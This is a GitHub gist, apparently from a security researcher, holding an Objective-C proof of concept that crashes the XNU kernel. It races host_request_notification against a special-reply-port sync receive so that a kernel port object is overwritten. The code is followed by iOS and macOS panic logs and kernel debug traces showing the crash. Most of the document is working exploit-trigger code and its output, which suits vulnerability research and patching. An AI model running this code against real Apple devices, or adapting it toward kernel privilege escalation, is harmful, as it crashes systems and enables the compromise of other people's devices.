Skip to content

Instantly share code, notes, and snippets.

@zhuowei
Last active January 6, 2022 09:40
Show Gist options
  • Save zhuowei/861fd8878397d9696303259f40cb01b3 to your computer and use it in GitHub Desktop.
Save zhuowei/861fd8878397d9696303259f40cb01b3 to your computer and use it in GitHub Desktop.
@import Darwin;
@import Foundation;
// Note: do this from a separate thread
// getting a fresh reply port break all existing XPC connections on that thread
extern mach_port_name_t thread_get_special_reply_port(void);
static void LogProgress(uint8_t step) {
mach_msg(nil, 0x69000000 | (step << 16), 0, 0, 0, 0, 0);
}
// Code copied from XNU's tests/kevent_qos.c
#define T_QUIET
static void T_ASSERT_MACH_SUCCESS(kern_return_t err, const char* errmsg) {
if (err) {
fprintf(stderr, "%s\n", errmsg);
abort();
}
}
#define T_LOG(a)
#define SEND_TIMEOUT_SECS 1
struct test_msg {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port_descriptor;
mach_msg_option_t opts;
//mach_msg_priority_t qos;
};
static void
Send(
mach_port_t send_port,
mach_port_t reply_port,
mach_port_t msg_port,
mach_msg_priority_t qos,
mach_msg_option_t options)
{
kern_return_t ret = 0;
struct test_msg send_msg = {
.header = {
.msgh_remote_port = send_port,
.msgh_local_port = reply_port,
.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND,
reply_port ? MACH_MSG_TYPE_MAKE_SEND_ONCE : 0,
MACH_MSG_TYPE_MOVE_SEND,
MACH_MSGH_BITS_COMPLEX),
.msgh_id = 0x100,
.msgh_size = sizeof(send_msg),
},
.body = {
.msgh_descriptor_count = 1,
},
.port_descriptor = {
.name = msg_port,
.disposition = MACH_MSG_TYPE_MOVE_RECEIVE,
.type = MACH_MSG_PORT_DESCRIPTOR,
},
.opts = options,
};
if (msg_port == MACH_PORT_NULL) {
send_msg.body.msgh_descriptor_count = 0;
}
#if 0
if ((options & MACH_SEND_PROPAGATE_QOS) == 0) {
send_msg.header.msgh_voucher_port = create_pthpriority_voucher(qos);
send_msg.qos = qos;
} else {
qos_class_t qc;
int relpri;
pthread_get_qos_class_np(pthread_self(), &qc, &relpri);
send_msg.qos = (uint32_t)_pthread_qos_class_encode(qc, relpri, 0);
}
#endif
mach_msg_option_t send_opts = options;
if (reply_port) {
send_opts |= MACH_SEND_SYNC_OVERRIDE;
}
send_opts |= MACH_SEND_MSG | MACH_SEND_TIMEOUT | MACH_SEND_OVERRIDE;
ret = mach_msg(&send_msg.header, send_opts, send_msg.header.msgh_size,
0, MACH_PORT_NULL, 10000, qos);
T_QUIET; T_ASSERT_MACH_SUCCESS(ret, "client mach_msg");
}
static kern_return_t
Receive(
mach_port_t rcv_port,
mach_port_t notify_port)
{
kern_return_t ret = 0;
struct test_msg rcv_msg = {
.header = {
.msgh_remote_port = MACH_PORT_NULL,
.msgh_local_port = rcv_port,
.msgh_size = sizeof(rcv_msg),
},
};
T_LOG("Client: Starting sync receive\n");
ret = mach_msg(&(rcv_msg.header),
MACH_RCV_MSG |
MACH_RCV_TIMEOUT |
MACH_RCV_SYNC_WAIT,
0,
rcv_msg.header.msgh_size,
rcv_port,
SEND_TIMEOUT_SECS * 1000,
notify_port);
return ret;
}
static void CheckSuccess(kern_return_t err) {
if (err) {
NSLog(@"%s %d", mach_error_string(err), err);
abort();
}
}
struct SecondThreadArgs {
mach_port_t special_reply_port;
};
static void* RunSecondThread(void* args) {
struct SecondThreadArgs* a = args;
mach_port_t special_reply_port = a->special_reply_port;
usleep(300000); // 0.3 seconds
CheckSuccess(host_request_notification(mach_host_self(), HOST_NOTIFY_CALENDAR_CHANGE, special_reply_port));
return nil;
}
static void CrashTest()
{
mach_port_t qos_send_port;
mach_port_t special_reply_port;
CheckSuccess(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &qos_send_port));
CheckSuccess(mach_port_insert_right(mach_task_self(), qos_send_port, qos_send_port, MACH_MSG_TYPE_MAKE_SEND));
LogProgress(10);
special_reply_port = thread_get_special_reply_port();
LogProgress(20);
/* enqueue two messages to make sure that mqueue is not empty */
Send(qos_send_port, MACH_PORT_NULL, MACH_PORT_NULL,
0, 0);
LogProgress(30);
Send(qos_send_port, MACH_PORT_NULL, MACH_PORT_NULL,
0, 0);
pthread_t thread;
struct SecondThreadArgs second_thread_args = {
.special_reply_port = special_reply_port,
};
CheckSuccess(pthread_create(&thread, nil, &RunSecondThread, &second_thread_args));
LogProgress(40);
/* sync wait on msg port */
Receive(special_reply_port, qos_send_port);
// calls ipc_port_link_special_reply_port, setting special_reply_port->ip_kobject to qos_send_port
// once it does that, we use host_request_notification to overwrite
// special_reply_port->ip_kobject
// ... when ipc_port_adjust_special_reply_port_locked tries to removes the linked port when it returns, it panics
CheckSuccess(pthread_join(thread, nil));
LogProgress(50);
}
int main() {
CrashTest();
}
panic(cpu 1 caller 0xfffffff02667d3f0): Kernel data abort. at pc 0xfffffff025f59d2c, lr 0xddf82e7025f5d4d0 (saved state: 0xffffffe8157d3a40)
x0: 0x4b9159e19e2c5890 x1: 0x4b9159e19e2c5890 x2: 0x0000000000000000 x3: 0x000000000000001f
x4: 0xffffffe1a08a5188 x5: 0x000000000000000b x6: 0xfeedfacefeedfacf x7: 0xfffffff132f64650
x8: 0x0000000000000002 x9: 0x00000000ffffffff x10: 0x0000000000000000 x11: 0x0000000010004003
x12: 0x000000000000000c x13: 0x0000000000000000 x14: 0xff0000000000079b x15: 0x00000000000009d8
x16: 0xffffffe1a12b8780 x17: 0xffffffe1a12b8780 x18: 0x0000000000000000 x19: 0x4b9159e19e2c5890
x20: 0x0000000000000001 x21: 0x4b9159e19e2c5890 x22: 0xffffffe1a43c84b4 x23: 0x0000000000000000
x24: 0x0000000000000000 x25: 0xffffffe1a12b8780 x26: 0xffffffe1a08a5188 x27: 0x0000000010004003
x28: 0x0000000000000001 fp: 0xffffffe8157d3d90 lr: 0xddf82e7025f5d4d0 sp: 0xffffffe8157d3d90
pc: 0xfffffff025f59d2c cpsr: 0x20401208 esr: 0x96000004 far: 0x4b9159e19e2c5890
Debugger message: panic
Memory ID: 0xff
OS release type: User
OS version: 18A8395
Kernel version: Darwin Kernel Version 20.0.0: Wed Sep 30 03:24:26 PDT 2020; root:xnu-7195.0.46~41\/RELEASE_ARM64_T8101
Kernel UUID: B5D61096-0C18-372C-95F7-D96C8BB14015
iBoot version: iBoot-6723.11.41
secure boot?: YES
Paniclog version: 13
Kernel slide: 0x000000001e40c000
Kernel text base: 0xfffffff025410000
mach_absolute_time: 0x1b20260e1
Epoch Time: sec usec
Boot : 0x5fe7a295 0x0006780e
Sleep : 0x00000000 0x00000000
Wake : 0x00000000 0x00000000
Calendar: 0x5fe7a3bd 0x00051dd0
CORE 0 recently retired instr at 0xfffffff0260b0614
CORE 1 recently retired instr at 0xfffffff0260af17c
CORE 2 recently retired instr at 0xfffffff0260b0614
CORE 3 recently retired instr at 0xfffffff0260b0614
CORE 4 recently retired instr at 0xfffffff0260b0618
CORE 5 recently retired instr at 0xfffffff0260b0618
Panicked task 0xffffffe1a47c8000: 3579 pages, 8 threads: pid 320: CrashTestDummy
Panicked thread: 0xffffffe1a08a5188, backtrace: 0xffffffe8157d31e0, tid: 6922
lr: 0xfffffff025f7aee4 fp: 0xffffffe8157d3220
lr: 0xfffffff025f7ace4 fp: 0xffffffe8157d3290
lr: 0xfffffff0260b5b08 fp: 0xffffffe8157d32b0
lr: 0xfffffff0260a76cc fp: 0xffffffe8157d3370
lr: 0xfffffff0266726b8 fp: 0xffffffe8157d3380
lr: 0xfffffff025f7a9cc fp: 0xffffffe8157d3700
lr: 0xfffffff025f7a9cc fp: 0xffffffe8157d3760
lr: 0xfffffff027df8a1c fp: 0xffffffe8157d3780
lr: 0xfffffff02667d3f0 fp: 0xffffffe8157d38f0
lr: 0xfffffff0260a8698 fp: 0xffffffe8157d3960
lr: 0xfffffff0260a77ac fp: 0xffffffe8157d3a20
lr: 0xfffffff0266726b8 fp: 0xffffffe8157d3a30
lr: 0xfffffff025f5d4d0 fp: 0xffffffe8157d3d90
lr: 0xfffffff025f5d4d0 fp: 0xffffffe8157d3dd0
lr: 0xfffffff025f5d2d8 fp: 0xffffffe8157d3e30
lr: 0xfffffff025f6d040 fp: 0xffffffe8157d3ec0
lr: 0xfffffff025f6d6ec fp: 0xffffffe8157d3f00
lr: 0xfffffff026678e14 fp: 0x0000000000000000
panic(cpu 0 caller 0xffffff800630fc8a): "Address not in expected zone for zone_require check (addr: 0xffffff801f206390, zone: ipc ports)"@/Users/zhuowei/Documents/winprogress/macos11/crashtest/xnubuild/build-xnu/xnu-6153.141.1/osfmk/kern/zalloc.c:662
Backtrace (CPU 0), Frame : Return Address
0xffffff95997758a0 : 0xffffff8006273cee
0xffffff9599775900 : 0xffffff800627349f
0xffffff9599775940 : 0xffffff80064df248
0xffffff9599775990 : 0xffffff80064c7fbe
0xffffff9599775ad0 : 0xffffff80064e7540
0xffffff9599775af0 : 0xffffff8006272d78
0xffffff9599775c40 : 0xffffff8006273916
0xffffff9599775cc0 : 0xffffff8006e7266f
0xffffff9599775d30 : 0xffffff800630fc8a
0xffffff9599775d60 : 0xffffff800623d73d
0xffffff9599775d80 : 0xffffff80062393e3
0xffffff9599775db0 : 0xffffff800624224e
0xffffff9599775df0 : 0xffffff8006242acb
0xffffff9599775e50 : 0xffffff800625b403
0xffffff9599775ea0 : 0xffffff800625ae7b
0xffffff9599775f60 : 0xffffff800625b819
0xffffff9599775f80 : 0xffffff800623abfc
0xffffff9599775fa0 : 0xffffff80064bb72e
BSD process name corresponding to current thread: crashtest
Boot args: kcsuffix=debug
Mac OS version:
19H15
Kernel version:
Darwin Kernel Version 19.6.0: Fri 25 Dec 2020 20:26:21 PST; zhuowei:xnu-6153.141.1[xnu-4570.1.46-20-gc9688565-dirty]/BUILD/obj/DEBUG_X86_64
Kernel UUID: 66BE7EB4-0014-3CD0-B0F8-F7052A14701C
Kernel slide: 0x0000000006000000
Kernel text base: 0xffffff8006200000
__HIB text base: 0xffffff8006100000
System model name: VMware7,1 (Mac-E43C1C25D4880AD6)
System shutdown begun: NO
Panic diags file available: YES (0x0)
System uptime in nanoseconds: 3607247740506
last loaded kext at 128422114510: @fileutil 20.036.15 (addr 0xffffff7f89521000, size 114688)
last unloaded kext at 290237619095: >!AFIVRDriver 4.1.0 (addr 0xffffff7f89103000, size 12288)
loaded kexts:
@fileutil 20.036.15
@filesystems.autofs 3.0
>AudioAUUC 1.70
@AGDCPluginDisplayMetrics 5.2.6
>!AHV 1
|IOUserEthernet 1.0.1
|IO!BSerialManager 7.0.6f7
@Dont_Steal_Mac_OS_X 7.0.0
>!AUpstreamUserClient 3.6.8
>!AHDA 283.15
>!AMCCSControl 1.14
>ACPI_SMC_PlatformPlugin 1.0.0
>!A!ISlowAdaptiveClocking 4.0.0
|SCSITaskUserClient 422.120.3
@filesystems.apfs 1412.141.1
>!AVirtIO 1.0
@filesystems.hfs.kext 522.100.5
>!AAHCIPort 341.140.1
@!AFSCompression.!AFSCompressionTypeDataless 1.0.0d1
@BootCache 40
@!AFSCompression.!AFSCompressionTypeZlib 1.0.0
>!I82574LEthernet 2.7.2
@private.KextAudit 1.0
>!AACPIButtons 6.1
>!AHPET 1.8
>!ARTC 2.0
>!ASMBIOS 2.1
>!AAPIC 1.7
$!AImage4 1
@nke.applicationfirewall 303
$TMSafetyNet 8
@!ASystemPolicy 2.0.0
|EndpointSecurity 1
@kext.triggers 1.0
>DspFuncLib 283.15
@kext.OSvKernDSPLib 529
@!AGPUWrangler 5.2.6
@!AGraphicsDeviceControl 5.2.6
>!ASMBus!C 1.0.18d1
|IOSMBus!F 1.1
|IO!BHost!CUSBTransport 7.0.6f7
|IO!BHost!CTransport 7.0.6f7
|IO!B!F 7.0.6f7
|IO!BPacketLogger 7.0.6f7
>!AHDA!C 283.15
|IOHDA!F 283.15
>IOPlatformPluginLegacy 1.0.0
>IOPlatformPlugin!F 6.0.0d8
|IOSlowAdaptiveClocking!F 1.0.0
|IONDRVSupport 576.1
|IOGraphics!F 576.1
>usb.!UHub 1.2
>usb.networking 5.0.0
>usb.!UHostCompositeDevice 1.2
|IOSCSIMultimediaCommandsDevice 422.120.3
|IOBD!S!F 1.8
|IODVD!S!F 1.8
|IOCD!S!F 1.8
|IOAHCISerialATAPI 268
|IOAHCIBlock!S 316.100.5
|IOAudio!F 300.2
@vecLib.kext 1.2.0
|IOSerial!F 11
|IOSurface 269.11
|IOAHCI!F 290.0.1
>usb.!UEHCIPCI 1.2
>usb.!UUHCIPCI 1.2
>usb.!UUHCI 1.2
>usb.!UEHCI 1.2
>usb.!UXHCIPCI 1.2
>usb.!UXHCI 1.2
@filesystems.hfs.encodings.kext 1
>usb.!UHostPacketFilter 1.0
|IOUSB!F 900.4.2
>!AEFINVRAM 2.1
>!AEFIRuntime 2.1
|IOHID!F 2.0.0
$quarantine 4
$sandbox 300.0
@kext.!AMatch 1.0.0d1
>DiskImages 493.0.0
>!AFDEKeyStore 28.30
>!AEffaceable!S 1.0
>!ASSE 1.0
>!AKeyStore 2
>!UTDM 489.120.1
|IOSCSIBlockCommandsDevice 422.120.3
>!ACredentialManager 1.0
>KernelRelayHost 1
>!ASEPManager 1.0.1
>IOSlaveProcessor 1
|IOUSBMass!SDriver 157.140.1
|IOSCSIArchitectureModel!F 422.120.3
|IO!S!F 2.1
|IOUSBHost!F 1.2
>!UHostMergeProperties 1.2
>usb.!UCommon 1.0
>!ABusPower!C 1.0
|CoreAnalytics!F 1
>!AMobileFileIntegrity 1.0.5
@kext.CoreTrust 1
|IOTimeSync!F 840.3
|IONetworking!F 3.4
|IOReport!F 47
>!AACPIPlatform 6.1
>!ASMC 3.1.9
>watchdog 1
|IOPCI!F 2.9
|IOACPI!F 1.4
@kec.pthread 1
@kec.corecrypto 1.0
@kec.Libm 1
entered 10
In ipc_port_adjust_special_reply_port_locked:port=0xffffff80291ae850 obj=0 state=0
kn=0 flags=4 get_turnstile=no
entered 20
Sending a message
start of ipc_kmsg_copyin_header
after ipc right copy in: dest=0xffffff8023e48618 reply=0
ipc_kmsg_set_qos kmsg=0xffffff8029436200 options=31 override=0 reply=0x0 dest=0xffffff8023e48618 ip_valid=no msgh_bits=80110011
ipc_kmsg_copyin header:
00000034
80110011
0xffffff8023e48618
0x0
0x0
00000100
entered 30
Sending a message
start of ipc_kmsg_copyin_header
after ipc right copy in: dest=0xffffff8023e48618 reply=0
ipc_kmsg_set_qos kmsg=0xffffff8029436e00 options=31 override=0 reply=0x0 dest=0xffffff8023e48618 ip_valid=no msgh_bits=80110011
ipc_kmsg_copyin header:
00000034
80110011
0xffffff8023e48618
0x0
0x0
00000100
entered 40
Receiving message! object=0xffffff80237e8d48
mach_msg_rcv_link_special_reply_port port=0xffffff80237e8d48 dest=f0b
mach_msg_rcv_link_special_reply_port got dest port=0xffffff8023e48618
ipc_port_link_special_reply_port: port=0xffffff80237e8d48 dest=0xffffff8023e48618 sync=no state=0 ip_sync_inheritor_port=0
Take a reference: 0xffffff80237e8d48 -> 0xffffff8023e48618
ipc_port_recv_update_inheritor special port=0xffffff80237e8d48 state=1
Sending a message
start of ipc_kmsg_copyin_header
after ipc right copy in: dest=0xffffff801d871e60 reply=0xffffff80217d08d8
ipc_kmsg_set_qos kmsg=0xffffff8029436500 options=3 override=0 reply=0xffffff80217d08d8 dest=0xffffff801d871e60 ip_valid=yes msgh_bits=80001211
ipc_kmsg_copyin header:
0000003c
80001211
0xffffff801d871e60
0xffffff80217d08d8
0x0
000000d9
host_request_notification port 0xffffff80237e8d48 old 0xffffff8023e48618 entry 0xffffff801f206390
Receiving message! object=0xffffff80217d08d8
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment